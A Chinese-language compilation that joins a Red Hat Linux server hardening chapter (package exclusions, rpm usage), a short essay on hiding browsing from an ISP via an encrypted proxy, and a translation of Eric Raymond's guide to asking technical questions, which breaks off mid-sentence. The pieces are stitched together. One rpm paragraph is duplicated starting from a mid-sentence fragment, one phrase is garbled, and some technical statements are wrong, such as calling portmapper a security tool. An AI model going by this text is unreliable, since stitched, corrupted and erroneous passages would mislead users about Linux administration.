
groff-1_15-1_i386.rpm
sysklogd-1_3_31-14_i386.rpm
initscripts-4_70-1_i386.rpm
e2fsprogs-1.17-1.i386.rpm
pam-0_68-10_i386.rpm
Linux kernel 2.2.14 (linux-2_2_14_tar.gz)

注意：Linux的内核是最重要的，必须经常更新。下面的一些章节将会介绍如何为你的服务器编译一个定制的内核。

在更新之前，你可以用下面的命令查看在系统中已经安装的软件。

[root@deep]# rpm -q
这里表示想查看的软件名，比如：XFree86、telnet,等等。

部件安装（选择软件包组）

上面都完成了之后，该选择安装哪些软件包了。在默认情况下，Linux是一个强大的操作系统，可以提供很多服务。但是，这些服务大多数都是没有必要的，而且会造成安全隐患。

安装Linux的正确方法是：安装一个稳定和安全的系统。首先，你只要必要的部件，也就是软件包组。通过选上“Select individual package”这个单选框，在后面的安装过程中，你可以选中或不选单独的软件包。

因为我们安装的是Linux服务器，所以没有必要安装图形界面（XFree86）。在服务器上安装图形界面意味着：更低的处理能力，更少的CPU时间，更少的内存，更多的安全问题，以及等等。图形界面一般只在工作站上使用。选择安装下面的软件包组：

* Networked Workstation
* Network Management Workstation
* Utilities

选择好软件包组之后，就应该选择单个的软件包了。

注意：选上“Select individual package”这个单选框（非常重要），因为只有这样才会让你选择安装单个软件包。

单个软件包的选择

安装程序列出可以选择的软件包组，每个软件包组下面是单独的软件。

下面列出的软件，因为安全、优化或者其它原因，请不要安装，待一会儿会解释的。

Applications/Archiving: dump
Applications/File: git
Applications/Internet: finger, ftp, fwhois, ncftp, rsh, rsync, talk, telnet
Applications/Publishing: ghostscript, ghostscript-fonts, mpage, rhs-printfilters
Applications/System: arpwatch, bind-utils, knfsd-clients, procinfo, rdate, rdist, screen, ucd-snmp-utils
Documentation: indexhtml
System Environment/Base: chkfontpath, yp-tools
System Environment/Daemons: XFree86-xfs, lpr, pidentd, portmap, routed, rusers, rwho, tftp, ucd-snmp, ypbind
System Environment/Libraries: XFree86-libs, libpng
User Interface/X: XFree86-75dpi-fonts, urw-fonts

在解释为什么不装这些软件包之前，可能有人会问：为什么不在服务器上装finger、ftp、fwhois和telnet呢？要知道这些软件从本质上来说是不安全的。假定有一个黑客已经入侵了你的服务器，他可以用finger、ftp、fwhois和telnet查询或入侵网络中的其它计算机。如果没有装这些软件，他就不能使用这些软件或者就得试图在你的服务器上安装这些软件，如果真的这样做，就会被你很容易地跟踪到。可以用Tripware这样的软件进行跟踪。

Applications/Archiving:

dump这个软件包包括dump和restore这两个程序。dump用来检查文件系统中的文件以确定哪些需要备份，然后把这些文件拷贝到磁盘、磁带或其它介质上。【没必要，我们用别的方法】

Applications/File:

GIT（GNU 交互式工具）可以浏览文件系统，查看文本或二进制文件，查看或停止进程，还包括一些其它相关的工具和shell脚本。（很象DOS下的NC）。【没必要】

Applications/Internet:

finger可以让用户查看系统中其他用户的登录名（login name）、家目录（home directory）、真实姓名（name）以及登录系统的时间，等等。【安全隐患】
ftp是标准的UNIX下的FTP客户软件（命令行）。FTP是在Internet上使用很广的文件传输协议。【安全隐患】
fwhois可以让系统中的用户查询whois数据库。【安全隐患】
ncftp是增强型的FTP客户软件。ncftp的增强包括：支持命令行编辑，命令历史记录，递归下载（包含子目录的下载），自动匿名登录，还有其它很多功能。【安全隐患，没必要】
rsh包括一些程序，这些程序可以在远程计算机上运行命令，登录到其它计算机或在计算机之间拷贝文件（rsh、rlogin和rcp）。【安全隐患】
ntalk包括Internet talk协议的客户端和服务器程序，你可以用它与在不同计算机上的人进行交谈（chat）。【安全隐患】
telnet是用得很多的登录远程计算机的协议。【安全隐患】

Applications/Publishing:

ghostscript是一套软件包括：PostScript(tm)解释器、C语言的函数库（ghostscript函数库实现了对PostScript语言的图形操作）和PDF文件的解释器。【没必要】
ghostscript font是一些PostScript(tm)字体，ghostscript解释器要用到这些字体。同时，这些字体也是ghostscript和X11共享的。【没必要】
mpage把纯文本的文件和PostScript(tm)文件输出到PostScript打印机上，可以在一张纸上打印多于一页的内容。【没必要，我们的服务器上没装打印机】
rhs-printfilter包括一组打印驱动，这主要是和RedHat的pinttool结合使用的。。【没必要，我们的服务器上没装打印机】

Applications/System:

arpwatch包括arpwatch和arpsnmp两个程序。arpwatch和arpsnmp都是网络监控程序。都是用来监控以太网和FDDI网络流量并且建立以太网网址（物理地址）和IP地址之间对应关系的数据库，如果两者的对应关系发生变化了，会自动用email报告。【没必要】
bind-utils包括一套工具用来查询DNS（域名服务器）以获得Internet上主机的信息。【在后面的章节我们会自己编译】
knfsd-clients包括showmount程序。showmount查询远程主机的mount daemon以获取远程主机上的NFS信息。【安全隐患】
procinfo命令可以从/proc（Linux内核虚拟出来的目录）目录获取系统信息，并用适当的格式显示在标准输出上。【没必要，我们用别的方法】
rdate根据RFC 868协议可以从网络中的其它计算机上获取日期和时间信息。【安全隐患】
rdist程序维护多台主机上相同文件的多个拷贝。如果可能，rdist会保留文件的owner，group，mode和mtime这些属性，而且它还可以动态的更新正在运行的程序。【安全隐患】
ucd-snmp包括各式各样的用于UCD-SNMP网络管理的实用工具。【安全隐患，没必要】
screen工具允许你在一个终端上，同时登录多次。screen对于使用telnet登录远程服务器或使用哑终端的用户比较有用。【没必要】

Documentation:

indexhtml包括一些HTML文件以及一些图片，在你成功安装RedHat Linux之后，作为浏览器的欢迎界面。【没必要】

System Environment/Base:

chkfontpath是简单的命令行程序，用来添加、删除和列出X Window的字体路径。【没必要】
NIS为网络上的所有计算机提供网络信息，如：登录名、口令、家目录和组信息。（有点象NT的Domain这个概念）【安全隐患】

System Environment/Daemons:

XFree86-xfs是XFree86的字体服务程序。能为远程的X server提供字体。（xfs支持TrueType(tm)字体）【没必要】
lpr提供管理打印服务的基本工具。【没必要，我们的服务器上不装打印机】
portmapper是一个安全工具，可以防止别人盗用NIS、NFA和其它敏感的信息。portmapper管理RPC（远程调用）连接。象NFS和NIS这些协议都要用到RPC。【没必要，安全隐患】
pidentd包含identd。identd是用来实现RFC1413身份验证服务的。identd查询TCP/IP连接，返回用户名以及其它一些关于连接进程的信息。【没必要，网络上几乎不会要求发送端运行identd，因为很多计算机都没有安装而且很多人把它关掉】
routed是路由daemon，接受RIP并且对外广播网络路由情况的RIP，这样才能维护当前的路由表。路由表对网络上的计算机是很重要的。有了路由表，计算机才能知道往哪儿发IP包。【没必要，安全隐患】
rusers允许用户查询连接在本地网络的计算机上的已登录用户的信息。rusers命令的输出格式很像who命令，但是列出的是一组或所有局域网上计算机的登录用户信息。【安全隐患】
rwho命令的输出格式也很像who命令，不过它可以显示那些运行rwho daemon的本地网上的计算机的登录用户信息。【安全隐患】
tftp提供TFTP协议的用户界面，允许用户上传和下传远程计算机上的文件。TFTP（Trivial File Transfer）协议通常用在启动无盘工作站。【安全隐患，没有必要】
ucd-snmp提供对SNMP协议的支持。SNMP（Simple Network Management Protocol）是一个网络管理协议。【安全隐患，没有必要】

System Environment/Libraries:

XFree86-libs包含X程序运行所需要的共享库，这些共享库放在统一一个软件包里是为了减少磁盘空间。（X Window的Client/Server结构，允许本机不装X Server而运行X程序—也就是X客户。如果想要运行X程序，在本机上就要装这个库）。【没有必要，我们不打算使用X程序】
libpng是用来处理PNG（Portable Network Graphics）图形文件的函数库。PNG是类似GIF的位图文件格式。【没有必要】

User Interface/X:

XFree86-75dpi-fonts是用于X Window的75dpi字体。
uwr-fonts是免费的35种标准PostScript(tm)字体。主要用于ghostscript。【没有必要】

下面安装程序开始格式化分区了，格式化完成之后，开始安装软件包。

怎样使用rpm命令

这一节主要介绍如何使用rpm命令在Linux系统上安装、卸载、升级、查询、列出清单、检查和编译RPM软件包。

* 安装RPM包
[root@deep]# rpm -ivh foo-1.0-2.i386.rpm
RPM包的文件名的含义是这样的：比如：foo-1.0-2.i386.rpm，软件包的名字是foo，版本1.0，发布号2，适用于i386体系结构。

* 卸载RPM包
[root@deep]# rpm -e foo
注意：用软件包的名字（foo）而不是文件名（foo-1.0-2）。

* 升级RPM包
[root@deep]# rpm -Uvh foo-1.0-2.i386.rpm
这个命令自动卸载旧的foo软件包，再安装新的。通常都是用“rpm -Uvh”来安装软件包，因为即使没有安装过旧版本的软件，它能正常运行，不受丝毫影响。

* 查询RPM包
[root@deep]# rpm -q foo
这个命令显示已安装的软件包的名字、版本、发布号。同时，这个命令还可以用来查看软件包是否安装。

* 显示软件包信息
[root@deep]# rpm -qi foo
这个命令显示软件包的信息，包括：名字，版本以及软件的描述。

* 显示软件包中的文件
[root@deep]# rpm -ql foo
列出RPM包中文件的清单。

* 检查软件包的签名
[root@deep]# rpm --checksig foo
这个命令用来检查软件包的PGP签名，以确保软件包的完整性以及没有被改动过。PGP的配置信息必须从配置文件中读入。在把软件包安装到系统中之前，要用这个命令先检查一下软件包。使用这个命令要求你先安装GnuPG或pgp。

* 用以源代码发布的RPM包来安装软件
[root@deep]# rpm -ivh --rebuild foo.src.rpm
这个命令会编译“foo”这个软件包，在“/usr/src/redhat/RPMS/i386/”目录下生成二进制的RPM包。然后，你就可以用上面介绍的命令，正常地安装软件包了。

读入。在把软件包安装到系统中之前，要用这个命令先检查一下软件包。使用这个命令要求你先安装GnuPG或pgp。

* 用以源代码发布的RPM包来安装软件
[root@deep]# rpm -ivh --rebuild foo.src.rpm
这个命令会编译“foo”这个软件包，在“/usr/src/redhat/RPMS/i386/”目录下生成二进制的RPM包。然后，你就可以用上面介绍的命令，正常地安装软件包了。


谈谈如何避免你的ISP得知你的网上活动

或者对于很多使用者，如何想法避开你的ISP知道你的网上活动并不重要，但对于一个着重于安全的网络使用者，当然不希望自己的网上活动被人得知的，就好像你的私隐不想被人知道一样。大部份的Isp都说不会记录使用者的网上活动(特别是在西方的国家，这可能涉及私隐的)，但至于在实际上ISP是否有记录下我们的上网活动，使用者根本无从得之,以下浅谈一下使你的ISP不可得知你的网上活动的方法。

最常见的方法是需要一个第三方的代理，这个代理并不是一般我们使用的代理。这代理必须是不属于你的网络提供商的，因为如果都是使用同一个网络提供商的服务的话，想避免你的网络供应商记录你的网络活动是不可行的。原理并不复杂，只是一个加密和解密的过程。首先你要在自己的系统上装上一个程序(这程序负责对请求的加密和接收到的数据的解密)，当你向网络提供请求时，例如你想访问www.yahoo.com.cn,当你发送这请求时，这个程序会处理这个请求，将这个请求进行加密，加密后的数据可能变为"%^&*&*(((",然后将数据向第三方代理发去，这时你的ISP记录到的只是一段没有任何意思的加密后的数据(成功避开ISP的得知你的网上活动了)，当数据经过你的ISP主机向第三方代理发送去后，第三方代理会将这段加密后的数据解密，然后将请求向目的地址发去。当这请求得到回复后，首先是将数据回送到第三方代理，这时第三方代理并不是解密的，而是去将收到的数据加密，然后向我们的IP地址发去，发送中，所有数据首先要经过我们的ISP的，但由于是经过加密的数据，所以记录到的只是没有意思的数据，当这些数据再发送给我们时，我们的那个程序就将那些数据解密，这样我们就可以看到结果了。

有人会问，ISP亦可以将这些数据解密的呀。理论上是的，但如果使用的是128位或更高的加密的话，除非得知密钥，否则在实际中要解密是非常困难的。亦有人曾问我关于国产的那个sksockserver的代理程序，说明中亦曾提及程序是提供数据流加密的。是的，但是问题在于这种加密只是在数据到达了那个安装了sksockserver的系统时才被进行了加密，别忘记你要经过你的ISP才可以到达那个安装了sksockserver的系统中去的，当数据没有在你的系统向外发送时进行加密的话，你的ISP都可以得到明文的。
这里只是谈论了一下原理，至于要想用这类的程序的话，只能说，自己找找吧。

补充一点，并不是全世界的国家都允许128位或更高的加密的，很多国家还是在法律上不允许这样高的加密强度的，中国亦是其中的一个。


提问的智慧

Copyright (C) 2001 by Eric S. Raymond
中文版Copyleft 2001 by D.H.Grand(nOBODY/Ginux)

英文版：http://www.tuxedo.org/~esr/faqs/smart-questions.html
感谢Eric的耐心指点和同意，本文才得以完成并发布，本指南
英文版版权为Eric Steven Raymond所有，
中文版版权由D.H.Grand[nOBODY/Ginux]所有。

目录

简介
提问之前
怎样提问
谨慎选择论坛
尽量使用邮件列表
用辞贴切，语法正确，拼写无误
用易读格式发送问题
使用含义丰富，描述准确的标题
精确描述，信息量大
话不在多
只说症状，不说猜想
按时间顺序列出症状
别要求私下答复
明白你想问什么
别问应该自己解决的问题
去除无意义的疑问
谦逊绝没有害处，而且常帮大忙
问题解决后，加个简短说明
如何理解答案
RTFM和STFW：别烦我啦
还是不懂
面对无礼
决不要象个失败者
三思而后问
好问题，坏问题
找不到答案怎么办

====
简介
====

在黑客世界里，当提出一个技术问题时，你能得到怎样的回答？这取决于挖出
答案的难度，同样取决于你提问的方法。本指南旨在帮助你提高发问技巧，以
获取你最想要的答案。

首先你必须明白，黑客们只偏爱艰巨的任务，或者能激发他们思维的好问题。
如若不然，我们还来干吗？如果你有值得我们反复咀嚼玩味的好问题，我们自
会对你感激不尽。好问题是激励，是厚礼，可以提高我们的理解力，而且通常
会暴露我们以前从没意识到或者思考过的问题。对黑客而
言，“问得好！”是发自内心的大力称赞。

尽管黑客们有蔑视简单问题和不友善的坏名声，有时看起来似乎我们对新手，
对知识贫乏者怀有敌意，但其实不是那样的。

我们不想掩饰对这样一些人的蔑视--他们不愿思考，或者在发问前不去完成他
们应该做的事。这种人只会谋杀时间--他们只愿索取，从不付出，无端消耗我
们的时间，而我们本可以把时间用在更有趣的问题或者更值得回答的人身上。
我们称这样的人为“失败者”（由于历史原因，我们有时
把它拼作“lusers”）。

我们也知道，很多人只想使用我们编写的软件，对技术细节没什么兴趣。对多
数人们而言，计算机不过是一个工具，一种达到目的的手段；他们有更重要的
事情要做，有更重要的生活要过。我们明白这点，也并不奢望每个人都对另我
们痴狂的技术问题有兴致。然而，我们回答问题的风格是
针对这样一群人--他们有兴趣，并且愿意积极参与问题的解决。这点不会改变，
也不应该改变；如果变了，我们将失去我们引以为傲的效率。

我们在很大程度上属于志愿者，从繁忙的生活中抽出时间来解惑答疑，而且时常
被提问淹没。所以我们无情的滤掉一些话题，特别是抛弃那些看起来象失败者的
家伙，以便更高效的利用时间来回答胜利者的问题。

如果你觉得我们过于傲慢的态度让你不爽，让你委屈，不妨设身处地想想。我
们并没有要求你向我们屈服--事实上，我们中的大多数人最喜欢公平交易不过
了，只要你付出小小努力来满足最起码的要求，我们就会欢迎你加入到我们的
文化中来。但让我们帮助那些不愿意帮助自己的人是没有
意义的。如果你不能接受这种“歧视”，我们建议你花点钱找家商业公司签个
技术支持协议得了，别向黑客乞求帮助。

如果你决定向我们求助，当然不希望被视为失败者，更不愿成为失败者中的一
员。立刻得到有效答案的最好方法，就是象胜利者那样提问--聪明、自信、有
解决问题的思路，只是偶尔在特定的问题上需要获得一点帮助。

（欢迎对本指南提出改进意见。任何建议请E-mail至esr@thyrsus.com，然而
请注意，本文并非网络礼节的通用指南，我通常会拒绝无助于在技术论坛得到
有用答案的建议。）
（当然，如果你写中文，最好还是寄到DHGrand@hotmail.com;-）

========
提问之前
========

在通过电邮、新闻组或者聊天室提出技术问题前，检查你有没有做到：
1. 通读手册，试着自己找答案。
2. 在FAQ里找答案（一份维护得好的FAQ可以包罗万象:）。
3. 在网上搜索（个人推荐google~~~）。
4. 向你身边精于此道的朋友打听。

当你提出问题的时候，首先要说明在此之前你干了些什么；这将有助于树立你
的形象：你不是一个妄图不劳而获的乞讨者，不愿浪费别人的时间。能说明你
从这些操作中学到了什么就更好了。如果提问者能从答案中学到东西，我们更
乐于回答他的问题。

周全的思考，准备好你的问题，草率的发问只能得到草率的回答，或者根本得
不到任何答案。越表现出在寻求帮助前为解决问题付出的努力，你越能得到实
质性的帮助。

小心别问错了问题。如果你的问题基于错误的假设，普通黑客（J. Random
Hacker）通常会用无意义的字面解释来答复你，心里想着“蠢问题...”，希
望着你会从问题的回答（而非你想得到的答案）中汲取教训。

决不要自以为够资格得到答案，你没这种资格。毕竟你没有为这种服务支付任
何报酬。你要自己去“挣”回一个答案，靠提出一个有内涵的，有趣的，有思
维激励作用的问题--一个对社区的经验有潜在贡献的问题，而不仅仅是被动的
从他人处索要知识--去挣到这个答案。

另一方面，表明你愿意在找答案的过程中做点什么，是一个非常好的开端。
“谁能给点提示？”、“我这个例子里缺了什么？”以及“我应该检查什么
地方？”比“请把确切的过程贴出来”更容易得到答复。因为你显得只要有
人指点正确的方向，你就有完成它的能力和决心。

========
怎样提问
========

------------
谨慎选择论坛
------------

小心选择提问的场合。如果象下面描述的那样，你很可能被忽略掉或者被看作失败者：
1. 在风马牛不相及的论坛贴出你的问题
2. 在探讨高级技巧的论坛张贴非常初级的问题；反之亦然
3. 在太多的不同新闻组交叉张贴

黑客们通常砍掉问错地方的问题，以保护自己的社区不被大量无关帖子淹没。
你不会希望自己的帖子被这样砍掉吧。

总的说来，问题发到精心挑选的公众论坛，比发到封闭的小圈子更容易得到有
用的答案。这一现象有多种原因，其中之一是公众论坛有更多潜在的问题回答
者；另一个原因是公众论坛有更多的听众。黑客们更愿意让尽量多的人--而非
有限的一两个--从回答中受益。

----------------
尽量使用邮件列表
----------------

如果某项目有自己的开发邮件列表，要把问题发到这个邮件列表而不是某个开
发者，即使你很清楚谁最能回答你的问题。仔细查看项目文档和项目主页，找
到这个项目的邮件列表地址，这样做的理由有四：
1. 任何值得问某位开发者的好问题，都值得向整个开发团体提出。反之，若
你认为这个问题不值得在邮件列表中提起，就没有理由用它来骚扰任何一位开发者。
2. 在邮件列表提问可以分担开发者的工作量。某位开发者（尤其当他是项目
负责人的情况下），可能忙得没时间回答你的问题。
3. 大多数邮件列表都有历史存档，而且都能在搜索引擎中检索到。人们可以
从中找到你的问题和答案，不用一遍又一遍在列表中发问。
4. 如果某个问题经常被提出，开发者可以据此改进文档或改进软件，以减少
用户的困惑。而如果问题总在私下提出，就不会有人对此有整体上的把握了。

如果你找不到项目的邮件列表地址，只能看到项目维护者的，那就写给维护
者吧。在这种情况下，也别以为邮件列表并不存在。在你的信中写明你已尽
力寻找，仍无法找到邮件列表。另外表明你不介意将此消息转给他人。（大
多数人认为私信就应该是私下的，即使并没有什么可保密的内容
。允许你的消息被转寄给他人，给了收信者一种处理你邮件的选择。）

----------------------------
用辞贴切，语法正确，拼写无误
----------------------------

我们从经验中发现，粗心的写作者通常也是马虎的思考者（我敢打包票）。
回答粗心大意者的问题很不值得，我们宁愿把时间耗在别处。

因此，明确充分表述你的问题非常重要。如果你嫌这样做麻烦，我们也会懒
得搭理你。注意推敲你的用辞，不一定要用呆板正式的语言--事实上，黑客
文化的价值观是不拘小节。准确的运用俚语和富有幽默感的语言，但别乱用；
一定要能表明你在思考，在关注。

正确的拼写，标点符号和大小写很重要。别把“its”和“it's”或者
“loose”和“lose”搞混淆了。别用全部大写的形式，这被视为粗鲁的大
声叫嚷（全都用小写也好不到哪儿去，因为这会给阅读带来困难。Alan Cox
可以用全部小写，但你不行）。

更一般的说，如果你的提问写得象个半文盲，你很有可能被忽视。如果写得象
一个窥客（破解爱好者）或者灰客（只会用现成工具的捣乱者）绝对是自己找
死，保证你除了无情的抵制什么也得不到（或者，最好的结局是得到一大堆挖
苦嘲笑的“帮助”）。

如果你在使用非母语的论坛提问，你可以犯点拼写和语法上的小错--但决不能
在思考上马虎（没错，我们能弄清两者的分别）。另外，除非你确切知道你的
回答者会使用什么语言，否则请用英文。匆匆忙忙的黑客往往简单的跳过他们
看不懂的问题，而英文是网络上的工作语言。用英文可以
降低你的问题未被阅读即遭抛弃的风险。

------------------
用易读格式发送问题
------------------

如果人为造成你的提问难以阅读和理解，将会更容易被人忽略。因此你要：
1. 使用纯文本邮件，不要使用HTML（关掉HTML并不难）。
2. 通常可以附加MIME附件，但一定要有真正的内容（例如附加的源文件或者
补丁），而不仅仅是你的邮件客户端产生的文件模板（例如你邮件的一份拷贝）。
3. 不要把所有问题放在不停换行的一整段中。（这将让答复的人难于回答其中
一部分问题，即使能回答所有问题，我也更希望条理清楚的一个一个来:）。很
可能收件人只能在80个字符宽度的文本显示器上读信，因此要相应的把行环绕
模式设在80字符以内。
4. 不要在英文论坛使用MIME Quoted-Printable编码发送；这种编码格式对
ASCII码不能表达的语言来说是非常必要的，但很多邮件代理不支持它，这
时，满篇的“=20”符号把文字分割开，既难看，又分散注意力。
5. 永远不要指望黑客会乐于阅读封闭所有权的文件格式，例如萎软的Word
格式。多数黑客对此的反应就象你在门口的阶梯上堆满热烘烘的猪粪（意即
谁也不会踏进你的门--译者注）。
6. 如果你通过一台安装Windows的电脑发送邮件，关闭萎软愚蠢的“智能引
用”功能。这能使你免于在邮件中夹带垃圾字符。

----------------------------
使用含义丰富，描述准确的标题
----------------------------

在邮件列表或者新闻组中，大约50字以内的主题标题是抓住资深专家注意力
的黄金时机。别用喋喋不休的“帮帮忙”（更别说“救命啊！！！！！”这
样让人反感的话）来浪费这个机会。不要妄想用你的痛苦程度来打动我们，
别用空格代替问题的描述，哪怕是极其简短的描述。

蠢问题：
救命啊！我的膝上机不能正常显示了！

聪明问题：
XFree86 4.1下鼠标光标变形，Fooware MV1005的显示芯片。

如果你在回复中提出问题，记得要修改内容标题，表明里面有一个问题。一个
看起来象“Re：测试”或者“Re：新bug”的问题很难引起足够重视。另外，引
用并删减前文的内容，给新来的读者留下线索。

------------------
精确描述，信息量大
------------------

1. 谨慎明确的描述症状。
2. 提供问题发生的环境（机器配置、操作系统、应用程序以及别的什么）。
3. 说明你在提问前是怎样去研究和理解这个问题的。
4. 说明你在提问前采取了什么步骤去解决它。
5. 罗列最近做过什么可能有影响的硬件、软件变更。

尽量想象一个黑客会怎样反问你，在提问的时候预先给他答案。

Simon Tatham写过一篇名为《如何有效的报告Bug》的出色短文。强力推荐你也读一读。

--------
话不在多
--------

你需要提供精确有效的信息。这并不是要求你简单的把成吨的出错代码或者数据完
全转储摘录到你的提问中。如果你有庞大而复杂的测试条件，尽量把它剪裁得越小
越好。

这样做的用处至少有三点。第一，表现出你为简化问题付出了努力，这可以使你得
到回答的机会增加；第二，简化问题使你得到有用答案的机会增加；第三，在提炼
你的bug报告的过程中，也许你自己就能找出问题所在或作出更正。

------------------
只说症状，不说猜想
------------------

告诉黑客们你认为问题是怎样引起的没什么帮助。（如果你的推断如此有效，还用
向别人求助吗？），因此要确信你原原本本告诉了他们问题的症状，不要加进你自
己的理解和推论。让黑客们来诊断吧。

蠢问题：
我在内核编译中一次又一次遇到SIG11错误，我怀疑某条飞线搭在主板的走线上了，
这种情况应该怎样检查最好？

聪明问题：
我自制的一套K6/233系统，主板是FIC-PA2007 （VIA Apollo VP2芯片组），256MB
Corsair PC133
SDRAM，在内核编译中频频产生SIG11错误，从开机20分钟以后就有这种情况，开机
前20分钟内从没发生过。重启也没有用，但是关机一晚上就又能工作20分钟。所有
内存都换过了，没有效果。相关部分的典型编译记录如下...。

------------------
按时间顺序列出症状
------------------

对找出问题最有帮助的线索，往往就是问题发生前的一系列操作，因此，你的说明
应该包含操作步骤，以及电脑的反应，直到问题产生。在命令行操作的情况下，保
存一个操作记录（例如使用脚本工具），并且引用相关的大约20条命令会大有帮助。

如果崩溃的程序有诊断选项（例如用-v转到详尽模式），试着仔细考虑选择选项以
在操作记录中增加有用的调试信息。

如果你的说明很长（超过四个段落），在开头简述问题会有所帮助，接下来按时间
顺序详述。这样黑客们就知道该在你的说明中找什么。

--------------
别要求私下答复
--------------

黑客们认为解决问题应该有公开、透明的流程。只要任何更有见地的人注意到答
案的不完善或者不正确，这个最初的答案就可以和应该得到纠正。同时，通过能
力和知识被大家注意，被大家接受，回答问题者得到了应有的奖励。

如果你要求对方私下回答你，这既破坏了整个流程，也破坏了奖励制度。别提这
要求，这是回答者的权利，由他来选择是否私下答复--如果他选择这样做，通常
是因为他认为这个答案过于显而易见或者有不良的公开影响，别人不会感兴趣。

只有一种有限的例外：如果你预计将收到大量雷同的答复，你可以说：“把答案
寄给我，由我来汇总吧。”将邮件列表或者新闻组从大量重复的帖子中打救出来
是很有君子之风的--但请记住，履行自己关于汇总的承诺。

--------------
明白你想问什么
--------------

漫无边际的提问近乎无休无止的时间黑洞。最能给你有用答案的人也正是最忙的
人（他们忙是因为要亲自完成大部分工作）。这样的人对无节制的时间黑洞不太
感冒，因此也可以说他们对漫无边际的提问不大感冒。

如果你明确表述需要回答者做什么（提供建议，发送一段代码，检查你的补丁
或是别的），就最有可能得到有用的答案。这会定出一个时间和精力的上限，
便于回答者集中精力来帮你，这很凑效。

要理解专家们生活的世界，要把专业技能想象为充裕的资源，而回复的时间则
是贫乏的资源。解决你的问题需要的时间越少，越能从忙碌的专家口中掏出答案。

因此，优化问题的结构，尽量减少专家们解决它所需要的时间，会有很
大的帮助--这通常和简化问题有所区别。因此，问“我想更好的理解X，
能给点提示吗？”通常比问“你能解释一下X吗？”更好。如果你的代码
不能工作，问问它有什么地方不对，比要求别人替你修改要明智得多。

------------------------
别问应该自己解决的问题
------------------------

黑客们总是善于分辨哪些问题应该由你自己解决；因为我们中的大多数都
曾自己解决这类问题。同样，这些问题得由你来搞定，你会从中学到东西。
你可以要求给点提示，但别要求得到完整的解决方案。

----------------
去除无意义的疑问
----------------

别用无意义的话结束提问，例如“有人能帮我吗？”或者“有答案吗？”。
首先：如果你对问题的描述不很合适，这样问更是画蛇添足。其次：由于这
样问是画蛇添足，黑客们会很厌烦你--而且通常会用逻辑上正确的回答来表
示他们的蔑视，例如：“没错，有人能帮你”或者“不，没答案
”。

----------------------------
谦逊绝没有害处，而且常帮大忙
----------------------------

彬彬有礼，多用“请”和“先道个谢了”。让大家都知道你对他们花费时间
义务提供帮助心存感激。

实话实说，虽然这不象合乎语法、清楚准确的描述，避免私有格式等等那么
重要（也不能用来替代它们）；黑客一般更喜欢直接了当然而技术上敏锐的
bug报告，而不是彬彬有礼的废话（如果这让你迷惑不解，请记住，我们衡
量一个问题价值的标准是：它能让我们学会多少）。

然而，如果你有很多问题无法解决，礼貌将会增加你得到有用答案的机会。

（我们注意到，自从本指南发布后，从资深黑客处得到的唯一严重缺陷反
馈，就是对预先道谢这一条。一些黑客觉得“先谢了”的言外之意是过后
就不会再感谢任何人了。我们的建议是：都道谢。）

------------------------
问题解决后，加个简短说明
------------------------

问题解决后，向所有帮助过你的人发个说明，让他们知道问题是怎样解决
的，并再一次向他们表示感谢。如果问题在新闻组或者邮件列表中引起了
广泛关注，应该在那里贴一个补充说明。

补充说明不必很长或是很深入；简单的一句“你好，原来是网线出了问
题！谢谢大家--Bill”比什么也不说要强。事实上，除非结论真的很有
技术含量，否则简短可爱的小结比长篇学术论文更好。说明问题是怎样
解决的，但大可不必将解决问题的过程复述一遍。

除了表示礼貌和反馈信息以外，这种补充有助于他人在邮件列表/新闻
组/论坛中搜索对你有过帮助的完整解决方案，这可能对他们也很有用。

最后（至少？），这种补充有助于所有提供过帮助的人从中得到满足感。
如果你自己不是老手或者黑客，那就相信我们，这种感觉对于那些你向
他们求助的导师或者专家而言，是非常重要的。问题久拖未决会让人灰
心；黑客们渴望看到问题被解决。好人有好报，满足他们的渴望，你会在下
次贴出新问题时尝到甜头。

============
如何理解答案
============

--------------------
RTFM和STFW：别烦我啦
--------------------

有一个古老而神圣的传统：如果你收到“RTFM （Read The f\*\*king Manual）”
的回复，回答者认为你应该去读TMD手册。当然，基本上他是对的，你应该读一读。

RTFM有一个年轻的亲戚。如果答案是“STFW （Search The f\*\*king Web）”，
回答者认为你应该到TMD的网上去搜索。基本上，他也是对的，你就去找吧。

通常，用这两句之一回答你的人会给你一份包含你需要内容的手册或者一个网
址，而且他们打这些字的时候正在阅读着。这些答复意味着回答者认为(1). 你
需要的信息非常容易获得；(2). 你自己去搜索这些信息比灌给你能让你学到更多。

别为这个而不爽；依照黑客的标准，他没有对你的要求视而不见，已经
能大致能表示对你的关注。你应该对他祖母般的慈祥表示感谢。

----------
还是不懂
----------

如果你不是很理解答案，别立刻要求对方解释。象你以前试着自己解决
问题时那样（利用手册，FAQ，网络，身边的高手），去理解它。如果
你真的需要对方解释，记得表现出你已经学到了点什么。

比方说，如果我回答你：“看来似乎是zEntry被阻塞了；你应该先清
除它。”，然后：

一个很糟的后续问题：“zEntry是什么？”

聪明的问法应该是这样：“哦~~~我看过帮助了但是只有-z和-p两个
参数中提到了zEntry而且还都没有清楚的解释:<你是指这两个中的
哪一个吗？还是我看漏了什么？”

--------
面对无礼
--------

黑客圈子里很多貌 拼致车难 行并非有意冒犯。更恰当的说，这是
直率、不说废话的沟通方式的产物，这种沟通方式源于人们关注问
题的解决--多过让人感受温暖亲情然而却依旧糊里糊涂--的天性。

如果你觉得受到粗鲁的对待，请保持冷静。如果真有人表现粗野，
通常会有列表/新闻组/论坛的长辈找他谈心，如果没有这样，而你
又大发脾气，则很可能对方的言行是黑客社区行为规范许可内，而
你被认为是有过错的。这会不利于你得到信息或者帮助。

另一方面，你偶尔也会无缘无故有粗野的言行和心态。上述现象的
另一面是，人们允许狠狠打击真正的冒犯者，用尖刻的言语剖析他
们的不当言行。如果你真决定这样做，先仔细又仔细的掂量一下你
自己的分量。合理的粗鲁与发动一场无意义的论战之间只隔了一条
细细的线，冒冒失失撞上
去的黑客不在少数；如果你是新手或者门外汉，不犯这种错的机会
是很渺茫的。如果你想得到信息而不是来胡闹，别冒险回复，最好
把手从键盘上拿开。

（有些人声称多数黑客有孤僻症或者社交障碍综合征的轻度症状，
而且确实缺少部分有助“常人”进行社交行为的脑组织结构。这也
许是真的，也许不是。如果你自己不是黑客，那么，把我们想象成
脑部有缺陷的人有助你面对我们的古怪。有话直说，我们无所谓；
我们乐于按自己的想法生
活，而且总是对医学概念持相当怀疑的态度。）

在下一节里，我们将谈论另一个话题；当你行差踏错时可能遇到的“无礼”。

================
决不要象个失败者
================

很有可能，你在黑客社区的论坛会受到很多公开的攻击--用本文提
到的各种方式或类似的方法，而且很可能会有各式各样的旁敲侧击
来告诉你你有多讨厌。

如果噩梦成真，你能做的最糟的事就是为此发牢骚，抱怨受到人身
